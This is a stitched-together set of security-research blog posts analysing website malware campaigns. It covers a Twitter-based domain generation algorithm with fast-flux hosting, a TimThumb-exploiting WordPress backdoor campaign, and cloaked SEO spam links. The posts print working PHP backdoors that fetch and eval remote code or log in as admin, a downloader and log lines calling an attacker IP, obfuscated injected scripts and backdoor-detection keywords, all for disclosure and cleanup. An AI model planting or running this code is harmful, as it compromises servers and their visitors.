• Each domain was in use for a few hours only
• The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.

Since 2009, I’ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.

Malicious scripts

First of all, here’s the malicious script that was used in December (full version)

(function($$){qq2=[8,0,26,0,11,81,29,0,26,...skipped...87,73,78];qq21=[68,79,87,27,0,9,...skipped...39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,...skipped...76,73];qq31=[84,8,7,7,0,19,...skipped...0,16,27,54];d='';mapper=[3,32,54,56,64,...skipped...24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(fun ction(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

It was a long obfuscated one-line script with long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages.

On PHP sites, this script was injected in a form of an obfuscated PHP code (full version):

ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD4oZnVuY3Rpb24oJ...skipped...Sk7PC9zY3JpcHQ+');}

Quite a typical base64_decode obfuscation trick, although disguised by the security_update function name to make this code look more legitimate.

January 2012 code mutation

However in January, the code changed (it is still detectable by Unmask Parasites). Besides some algorithmic changes, the malicious script now consists of 78 lines of code generously sprinkled with comments in Latin!!! Here you can see the full version.

(function($$,_2,_1) {
function qq2(){return [89,75,80,70,81,89,16,73,78,81,...skipped...11,93,2,29,13,10,13,96,71,2,18,29,56];}
function co() { return 'Code';}
...skipped...
mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2...skipped...27,2,28,2,29];
map = '';
function fs(ro, arr, add, st, en,dp) {
//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
...skipped...
//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
...skipped...
//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
...skipped...
//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland
...skipped...
//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
...skipped...
})(function(jsBb) {
return (function(jsB, jsBs) {
return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
})((function(jsB) {
return jsB.constructor
}), (function(jsB) {
return (function(jsBs) {
//accumsan dapibus diam
...skipped...
});
/**/
gloa();

For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message — who would want to use Latin in JavaScript comments? It just doesn’t make sense.

Lorem Ipsum

Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic “Lorem Ipsum” text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text. But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable.

Making the attack sustainable

Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn’t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script).

However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls — this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats.

Generating domain names on the fly

To avoid blacklisting, hackers have to frequently change domain names of their malware distributing websites. This particular attack rather than regularly updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm to generate new pseudo-random domain names of attack sites on the fly.

It’s a new version of the algorithm that I described two years ago. Here’s an overview of this new algorithm.

1. It uses Twitter API (http://api.twitter.com/1/trends/daily.json) to get a list of trending topics that were hot two days ago.
2. Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: 01:00, 07:00, 13:00 or 19:00 (in some rare cases they may use 02:00, 08:00, 14:00 or 20:00)
3. The extracted trending topic is used as a key in a domain name generating algorithm.
4. The algorithm just returns a permutation of characters in the key and uses the first 10-13 of them as a new domain name.
5. To address edge cases where a trending topic is less than 10 characters long and to improve the random nature of permutations, they append the word “microscope” to the trending topic before applying the algorithm.
6. As a result, the algorithm generates domain names like: dgeocanyaf .com, ocooecunrpbn .com, snrrstrcocri .com (more domain names here), that change every 6 hours. The attackers have almost two days to register them (they register them just a few hours before the use though).
7. Then the script builds a URL of a malicious page, adding the “/index.php?tp=001e4bb7b4d7333d” path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages.

The benefit of this approach is the attack can easily survive if some domain is blocked or unavailable for some reason — it only means not more than 6 hours of downtime. On the other hand, if someone reverse engineers the algorithm (like I did) they can use the same algorithm to blacklist or sinkhole the domain names before they become malicious.

So what’s new comparing to that two year old version of the attack?

The main differences from the previously described algorithm, are:

1. Hardcoded year 2012. This proves that the attack is still active and the attackers don’t want to abandon this Twitter based approach to generate domain names.

2. Instead of just 2 domains, they generate and use 4 new domains every day, and change them every 6 hours.

3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have 12 month-specific predefined suffixes that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don’t have any easily identifiable parts that can help classify them as belonging to this attack.

Online Demo

To show how this domain generating algorithm works, I’ve create an online tool that uses the same algorithm to predict malicious domains in real time. It shows 4 today’s malicious domains and predicts 4 domains that should be used by the attack tomorrow (more or less, depending on your time zone).

To make it more informative, I’ve provided two links for each domain name

1. Whois — to show whether the domain is registered and if it is then show who and when registered it (in most cases you’ll see the current date)
2. Google’s Safe Browsing diagnostic — to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain)

Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name.

For example, as I write this article on January 25th, the current malicious domain is “dgeocanyaf .com” and the corresponding Twitter trending topic from January 23rd is “Happy Year of the Dragon“. The domain was registered on January 25th, 2012 and Google already lists it as suspicious.

The upcoming malicious domain is “epljsxiomccg .com” and the corresponding Twitter topic is “Judge Alex“. The domain is already registered but Google doesn’t list it as suspicious (no wonder – it is not active yet).

The first predicted domain for January 26th (GMT time zone) is “mrrcatsphmoin .com” and the corresponding trending topic from January 24th is “Mr. and Mrs. Smith“. This domain is not registered yet (it should be by the time when you read this article) and Google doesn’t know about it yet.

If you are interested in the code of the algorithm, you can check the source code of the web page of this online tool.

OnlineNIC Domain Resellers

If you analize the Whois information for those domains, you can see that they all have been registered via OnlineNIC Inc. To register domains, the attackers used a few supposedly fake accounts – all of them marked as “reseller“.

So what does it mean to be an OnlineNiC’s domain reseller?

1. Anyone can register to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains).

2. OnlineNIC provides “an API/template system to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!”

So what is that API? According to the documentation: “The application program interface (API) is a set of routines and criterion and protocols by OnlineNIC. … It makes you and your client easier to
complete products purchase, management, and info-query and so on via API.”

Here are just a few things that this API allows to do:

• Check domain availability
• Register domain
• Create Name Servers
• Update domain Name Servers

So, resellers can use this API to create a program that will automatically purchase and manage domains. That’s a perfect solution for this attack, isn’t it?

DNS-DIY

The reseller account comes with free DNS-DIY DNS service that allows to manage A records and customize Name Servers (“Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.” – that’s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too — so all operations can be automated.

Zombie-computers as fast flux hosting

The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers.

This attack uses a technique called Fast flux hosting (if I use this term correctly). Here’s how it works.

When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it’s up to your DNS software which of them to use.

These two A-records help achieve two goals:

• load balancing – the traffic is split between two servers
• if one server is shut down or unavailable for some reason, the other server will still be processing requests.

However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records.

The thing is the IP addresses in the A records change every 6 hours, the same way as they change the domain names used in this attack.

Here is a list of 120 unique IP addresses that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains). The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world:

• Australia Melbourne Telstra Internet
• Austria Linz Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h
• Austria Vienna Oebb Telekom Service Gmbh
• France Paris Free Sas
• Germany Kabel Deutschland Breitband Service Gmbh
• Germany Leipzig Primacom Berlin Gmbh
• Italy Chieti Telecom Italia S.p.a
• Italy Telecom Italia Mobile
• Netherlands Amsterdam Upc Broadband Operations B.v,
• Netherlands Barneveld Matrix Pc B.v
• Philippines Makati Pldt
• Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo – Reklamowa Sp. Z O.o
• United States Richmond Comcast Cable Communications Inc
• United States Houston AT&T Internet Services
• United States Kyle Road Runner Holdco Llc
• Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A,
• and many more …

This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer. This approach is not new. For example, two years ago I described how Koobface used web servers on infected PCs.

Nginx reverse proxies

If you check HTTP header of responses from the malicious sites, you’ll notice that they all have the same “Server: nginx/0.7.65; X-Powered-By: PHP/5.3.2-1ubuntu4.10” headers.

Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx.

The answer to this is Nginx. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it’s reverse-proxy feature that helps to hide the real malware distributing server behind the layer of proxies.

The most probable scenario

Cyber criminals have a program on a C&C (command and control) server that is scheduled to do the following things:

1. Use their domain generating algorithm and the OnlineNIC API to register a new domains.
2. Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses.
3. Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2.
4. For some older domains, update A records with new IPs selected in the step 2.
5. For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain)
6. There is an Nginx web server on every zombie-computer. (There is a Windows version of Nginx) that processes requests to malicious URLs (hxxp://malicious-domain .com/ index.php?tp=001e4bb7b4d7333d)
7. Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server’s response back to clients (in our case to web browsers that loaded infected web pages). The “PHP/5.3.2-1ubuntu4.10″ header is actually from that remote server (reverse proxies pass most headers from the proxied servers).

Counter measures

It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures.

1. Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn’t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages.
2. Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you’ll see that they were registered using the same few accounts (some of them). Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can’t use them it may disrupt the attack.
3. Don’t let the parasites use your resources. Keep your computers and websites malware-free.

I can’t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn’t find webmasters of infected sites who would want to help me in my investigation :( ), but I see some signs that the attack could use stolen FTP credentials. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then remove the malicious code from files on server.

##

Additional information and your comments are welcome.

Similar posts:

• Hackers Use Twitter API To Trigger Malicious Scripts
• Twitter API Still Attracts Hackers
• How Criminals Defend Their Rogue Networks – abuse.ch
• Introduction to Website Parasites

If you don’t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section where I talk about what’s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the “To Webmasters” section – it will help you resolve the problem.

According to Unmask Parasites statistics and the help requests I received this weekend, we have a new prevailing website infection that affects WordPress blogs.

Google specifies “nl.ai” as the source of the problems and currently reports 8,526 infected domains (and given the limited coverage of Google’s data we can safely estimate at least 30,000 infected blogs)

A typical Safe Browsing diagnostic page say something like this:

Malicious software is hosted on 1 domain(s), including nl.ai/.

or

Malicious software is hosted on 3 domain(s), including hdghd.c0m.li/, hdghdg.c0m.li/, hdfhfd.c0m.li/.

The infection is detectable by Unmask Parasites.

Malicious content

Typically, in the <head> section of web pages, you will find a script that looks like this:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a...skipped...werCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jnhfj|navigator|ai|showthread|php|72241732'.split('|'),0,{}))

Here is the decoded variant:

function MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){var el=document.create Element('iframe');document.body.append Child(el);el.id='yahoo_api';el.style.width='1px';el.style.height='1px';el.style.display='none';el.src='hxxp://hgdhgd .nl .ai/showthread.php?t=72241732'}}var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){var t=setTimeout("MakeFrameEx()",1000)}

In the very beginning, you can see an additional layer against admins who are curious enough to decode the script but too naive to believe it’s a legitimate code that uses Yahoo API ;-) .

But if you read further, you will see the code that injects a hidden iframe to Internet Explorer browsers. In this particular case, the iframe load malicious content from hxxp://hgdhgd .nl .ai/showthread.php?t=72241732.

Hackers regularly update the malicious script on compromised sites to change the iframe URL. Here are just a few URLs that I’ve seen during this weekend.

• hgdch .nl .ai/showthread.php?t=72241732
• juyfdjhdjdgh .nl .ai/showthread.php?t=72241732
• kjgfg .nl .ai/showthread.php?t=72241732
• jnhfj .nl .ai/showthread.php?t=72241732
• hzdgh .nl .ai/showthread.php?t=72241732
• hgdhgd .nl .ai/showthread.php?t=72241732
• hjbh .nl .ai/showthread.php?t=72241732
• hgdfhd .coom .in/showthread.php?t=72241732
• unter .myz .info/showthread.php?t=72241732
• gdasgdsa .c0m .li/showthread.php?t=72241732
• jopek .fr .nf/showthread.php?t=72241732

All these domains point to the same server in Russia: 95 .163 .66 .209. Or later to 178 .18 .87 .141

By the way, new exotic TLDs are getting popular within cyber criminals: .ai (Anguilla), .li (Liechtenstein) and .nf (Norfolk Island)

How the attack works

Short version

1. Malicious hackers exploit a vulnerability in WordPress themes and plugins (I suspect the TimThumb vulnerability) to upload a backdoor file.
2. They use the backdoor file to plant another backdoor code into wp-config.php
3. They pass a specifically crafted code in requests to compromised blogs. Among other things, that code creates the /tmp/wp_inc file with a malicious JavaScript.
4. In wp-settings.php they create a functions that loads the content of /tmp/wp_inc into the head section of WordPress pages.

Detailed attack description

Although the TimThumb vulnerability has been discovered more than three months ago and has been patched since then, it remains the most exploitable security hole in WordPress. Hundreds of themes and plugins use this thumbnail utility and it’s hardly possible to upgrade them all (and all the blogs that use them) in three months. At the same time, webmasters of compromised blogs usually remove the malicious code from web pages and update timthumb.php but fail to find and remove all uploaded backdoor file — so even with the new TimThumb, their blogs remain vulnerable to subsequent attacks.

Backdoors

So step #1: Hackers upload a backdoor file to your server. This could happen a few days ago or a couple of months ago. In either case, hackers have access to your site now.

For example, on one infected server, I found the following upd.php file in the wp-content directory

<?php
$file = $_GET['file'];
$pass = $_GET['pass'];
$true = 'c0c7c76d30bd3dcaefc96f40275bdc0a';
if ($pass == $true){
$ch = curl_init($file);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$shell = curl_exec($ch);
curl_close($ch);
$tmp = md5(rand(0,10000));
$f = fopen($tmp.'.php',"w");
fputs($f,$shell);
fclose($f);
header("Location: $tmp.php");
}
?>

wp-config.php

This is the first WordPress hack where I see a backdoor code injected into the wp-config.php file. It may be difficult to spot it. Hackers use the same trick that we usually see in tainted .htaccess files: at the very bottom of wp-config.php they add a couple of thousand blank lines, then the following code and then another couple of thousand blank lines.

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == 'd67d8ab4f4c10bf22aa353e27879133c'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

Here you can see three main actions that can be completed using this backdoor code:

1. Log into your WordPress blog as admin (pingnow=login)
2. Copy a remote file to your server and open it in a browser (pingnow=exec)
3. Execute a php code from a remote file (pingnow=eval)

Here are typical requests to that backdoor in wp-config.php

91.196.216.20 - - [04/Nov/2011:06:47:24 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/collect/ping.txt&pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"
91.196.216.20 - - [04/Nov/2011:06:47:26 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/collect/parse.txt&pass=d67d8ab4f4c10bf22aa353e27879133c&key=inurl%3Aajaxfilemanager+jnq HTTP/1.1" 200 981 "-" "-"
91.196.216.20 - - [04/Nov/2011:06:49:41 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/tt.php&pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"

GET requests to backdoors? Hmm…

Note that requests come form the IP address 91 .196 .216 .20. Remote files also reside on that server. This IP is already known for other WordPress hacks that used the TimThumb vulnerability.

Ping

The first request evaluates code from the remote /collect/ping.txt file. Basically it should only print the “‘okey’” message — this means the backdoor code is still there.

Distributed Google search

The /collect/parse.txt request is more interesting. Here’s the PHP code of parse.txt.

$key = trim($_GET['key']);
for($i=0;$i<10;$i++){
$st = $i * 100;
$url = 'http://www.google.com/search?q='. urlencode($key).'&num=100&start='.$st;
echo "$url\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$head = curl_exec($ch);
curl_close($ch);
preg_match_all('/href=(\'|\")http:\/\/(\S*)(\"|\')/', $head, $page_links, PREG_PATTERN_ORDER);
$res = $page_links[2];
foreach($res as $itogo){
if (strpos($itogo, 'google') === false) {echo "http://$itogo\n";}
}
}
exit();

These requests conduct Google searches and display up to 1,000 search results. In the above logs, they searched for [inurl:ajaxfilemanager jnq]. That search can return links to websites that have an exploitable ajaxfilemanager vulnerability.

So why do they search using hacked sites? The answer is they need thousands of results for hundreds of searches (Google dorks). This amount of search results can only be retrieved using automated tools. But Google forbids automated requests and usually blocks offending IPs after a few dozens of such requests. The workaround is to search from multiple IPs (distributed search). So if they have access to compromised sited on 1,000 of unique servers and each IP can be (temporarily) blocked after say 10 queries (usually more) then hackers can expect to retrieve up to a million search results every days.

/tmp/wp_inc

Now the main tt.php request:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'hxxp://91 .196 .216 .20/eu_deb');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$z = curl_exec($ch);
curl_close($ch);
$t = sys_get_temp_dir();
$f = fopen($t.'/wp_inc',"w");
fputs($f,$z);
fclose($f);
if (file_exists($t.'/wp_inc'))
{
echo ('test');
}
exit();

This code downloads the hxxp://91 .196 .216 .20/eu_deb file and copies its content into the wp_inc file in the system’s temporary directory (usually /tmp).

During this past weekend, the eu_deb file contained the malicious “eval(function(p,a,c,k,e,d)…” script. Then its content changed. Right now I can see an HTML code with a hidden link to a doorway on another hacked WordPress blog:

<form method="post" action="?" style="overflow: auto; width: 5pt; height: 1pt; position: absolute; display:none"><A HREF="hxxp://businessactionforafrica .org/?kids" TARGET="_self">kids clothes</A></form>

As you can see, the tt.php requests to the backdoor code updates the injected malicious content. This is how hackers changed the script on infected blogs and this is why most of the infected blogs became “clean” overnight without any action taken by their webmasters (hackers just replaced the malicious script with the spammy link).

wp-settings.php

OK, the malicious content is in the /tmp/wp_inc file. But how does it make it into WordPress pages? To do it, hackers modify the wp-settings.php file where they add the following code:

function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
}
}
add_action('wp_head', 'check_wordpress');

You can see the rogue “check_wordpress” function that loads the content of the /tmp/wp_inc file. It is “hooked” to the “wp_head” action. In other words, this function is executed every time when WordPress builds the header part of WordPress pages.

To Webmasters

Detect

Most of you will only detect this problem when Google blacklists your site. Check the diagnostic page. If Google mentions “nl.ai” as the source of the problem then the chances are it’s the infection covered in this post. Keep on reading.

Now that the attackers replaced the injected code with some spammy links, Google will no longer flag your site for malware. So you still need to be able to figure out whether your blog is compromised or not.

Begin with checking integrity of your WordPress files. Check wp-config.php and wp-settings.php for the above mentioned malicious code (1 and 2).

You can also scan your raw access logs for requests from “91 .196 .216 .20” and requests that contain the following strings: “pingnow=eval“, “tt.php“.

Clean up

Remove the malicious code from wp-config.php and wp-settings.php. In case of wp-settings.php, it may be easier to replace it with the file from the official WordPress package. For example, here you can get the official wp-settings.php for WordPress 3.2.1 http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php. For other versions, select the appropriate tag (version) here: http://core.svn.wordpress.org/tags/.

Prevent reinfections

1. Remove the backdoor code from wp-config.php if you haven’t done it yet. Hackers have full control over your site while it is there.

2. Find and upgrade all themes and plugins that use vulnerable versions of timthumb.php (1.x). If there are no official upgrades, consider replacing timthumb.php with the latest version: http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php

3. Find and delete all backdoor files that hackers might have uploaded to your site.

3.1 You might want to completely delete wp-admin and wp-includes directories and then restore them from the official WordPress package.

3.2 Compare all files of WordPress themes and plugins with their genuine copies provided by their vendors.

3.3 Check what’s inside the ./cache directories next to timthumb.php files. This is the first location where attackers upload files using the timthumb security hole (of course, those files might be no longer there). Normally, there should be no .php files there.

3.4. Check other directories under wp-content. There should be no .php files below the uploads directory.

3.5 Search for the backdoor file I mentioned in the beginning of this post.

3.6 Scan all files on server for the keywords that can be usually found inside backdoors.

• eval(base64_decode
• gzuncompress
• gzinflate
• eval(stripslashes
• edoced_46esab
• FilesMan

This is not a complete list. There are many elaborate backdoors that you won’t find using these searches, but they can help you find more than 80% of backdoors that I regularly come across.

Note, some of these searches will also return perfectly legitimate files. You’ll have to verify the legitimacy of the found files yourself.

3.7 Scan logs for suspicious requests. It is usually enough to only check POST requests. In WordPress, every POST request to a .php file should be immediately suspicious. The only exceptions are

• requests WordPress admin interface from your IP address (or addresses of legitimate WordPress users)
• requests to wp-cron.php from your server’s IP address
• requests to wp-comments-post.php (readers that post comments)
• requests to xmlrpc.php.

Call for data: If your blog was affected by this hack and you have raw logs for the whole November (a couple of the last months of raw logs even better), I would like to hear from you. Your logs can help me reconstruct the attack from the very beginning. Thanks for collaboration!

4. Block the “91 .196 .216 .20” IP address. For example, you can manually add something like this to your topmost .htaccess file

order allow,deny
deny from 91.196.216.20
allow from all

Or you can do it via your host’s Control Panel.

5. Consider disabling execution of .php files in directories where there shouldn’t be any executable files. E.g. wp-content/uploads/ or any images/ directories.

6. If your WordPress administrator’s user name is “admin“, create a new user with the administrator role and remove the “admin” user.

Change passwords of the rest WordPress users. Consider changing MySql password too.

7. Upgrade WordPress to the latest version. The older WordPress you use the more security holes it has.

Summary

This was a long technical post. But I hope it was worth it to delve into all those details. It is not your typical WordPress hack. Here we can find many new and uncommon tricks and techniques. They may be a little naive and not as efficient as the tricks that we’ve seen before, but at least I can see some creativity here.

I guess, the buzz around the TimThumb vulnerability helped some new players realize how easy it was to enter the web site hack arena. Imagine that you know that millions of WordPress blogs have this security hole. You only need to hire a PHP developer with some basic knowledge of WordPress who can create a scanner (to find vulnerable blogs), some backdoor scripts and a way to automate the process. That PHP developer probably didn’t have access to common exploit tools and had to reinvent the wheel. That’s why we see so many new tricks.

By the way, here’s my list of what’s uncommon in this attack:

1. Backdoor code in wp-config.php
2. Malicious PHP code is not obfuscated. In all files.
3. Backdoor code in wp-config.php is placed after a couple of thousand blank lines (the trick I previously saw in .htaccess files only)
4. Using WordPress hooks in wp-settings.php instead on injecting the code directly into theme files (will survive a theme change, but won’t survive a WordPress upgrade)
5. Using backdoor code to bypass WordPress admin authentication.
6. GET requests to backdoors.
7. Injecting malicious content from a file in a system’s temporary directory (/tmp). (You only need one backdoor per server to change the injected code on multiple hacked blogs)
8. Using backdoors on compromised sites to conduct distributed Google searches.
9. Changing the injected content from malicious scripts to spammy links.
10. Hiding links inside an invisible form.
11. Placing hidden link inside the <head> section

##

Your comments and additional information on this hack are welcome!

Related posts:

• Hackers target unpatched WooFramework
• Hacked WordPress Blogs Poison Google Images
• Versatile .CC Attacks
• Introduction to Website Parasites

Cloaked links

To have Google discover and index rogue doorway pages, the attackers needed to place links on web pages that Google already knows about and regularly crawls. One of the popular approaches is to create free websites and post links there (there are many services that allow to do it). However, in this particular case I couldn’t find such external links.

Then I checked cached versions of legitimate web pages on the hacked sites and found the following code right before the closing </body> tag.

<style>#alkg {position:absolute;overflow:auto;height:0;width:0;}</style><font id="alkg"><a href="http://example.com/?ccc=niger-culture-picture">niger culture picture</a><br />...<a href="http://example.com/?ccc=eric-ogbogu-picture">eric ogbogu picture</a><br /><a href="http://rankexplorer.com">Poker Software</a></font>

The code cannot be found if you open the same web page in a browser. This means that hackers used cloaking to feed these links to search engine spiders only.

This code defines an invisible style (height:0; width:0) and then lists dozens to hundreds of links to doorway pages on that site inside the <font> block that has that invisible style. The name of that style is a random combination of four letters and it changes from site to site.

This trick prevents webmasters form seeing the spammy links when they check cached web pages (of course, unless they scrutinize the HTML code) and at the same time provides links that don’t look like invisible to Googlebot (I guess Google is well aware of such tricks though ;-) ).

The placement of this spammy code makes me think that hackers injected it into the footer.php file of the blogs’ themes. Most likely the actual code is encrypted (e.g. with the base64_decode or some other obfuscation trick) so check the code right before the </body> tag.

SEO Anomaly

I noticed one interesting thing. Every link block on every hacked site has a link to rankexplorer .com. The anchor text is always the same: Poker Software.

The domain was registered on February 21st, 2011 and already has PageRank 5. That was very suspicious. Only very popular sites can get PR5 in such a short time. So I decided to check who linked to the rankexplorer site and how seriously those links on the hacked sites contribute to this rapid progress.

Yahoo Site Explorer

First, I checked external backlinks using Yahoo Site Explorer:

The report says there are 1,858,186 external links to 7 pages on this site. Impressive!

It was clear that sites at the top of the list were hacked. But it was not clear how many of those 1,800,000+ links are from hacked sites and if there are many (or rather any) legitimate links. Moreover, YSE doesn’t distinguish “doFollow” and “noFollow” links so it’s hard to use this report to tell which links actually contribute to the high PageRank. (For example, there can be many “noFollow” links from spammy blog comments and forum posts).

MajesticSEO Site Explorer

So the next step was a more thorough investigation using MajesticSEO Site Explorer. MajesticSEO maintains quite a fresh index (updated 2-3 times a day) and its size is comparable to that of Yahoo (they claim that only Google has a larger index). What’s more important, they provide various backlink reports that allow to easily spot interesting patterns and anomalies.

Lets begin with the Domain Information report:

Well, the number of external links here is significantly smaller than in Yahoo Site Explorer. But we should not forget that this is a “fresh index” and we deal with hacked sites that get cleaned up once their webmasters notice the hack.

The useful information here is:

• very few link are “NoFollow” – 0.3% (so the comment and forum spam is not the case)
• quite a few deleted links – (webmasters remove spammy links from hacked sites)
• domains/links ratio suggests that multiple pages of the same site link to rankexplorer — quite typical for spammy links.
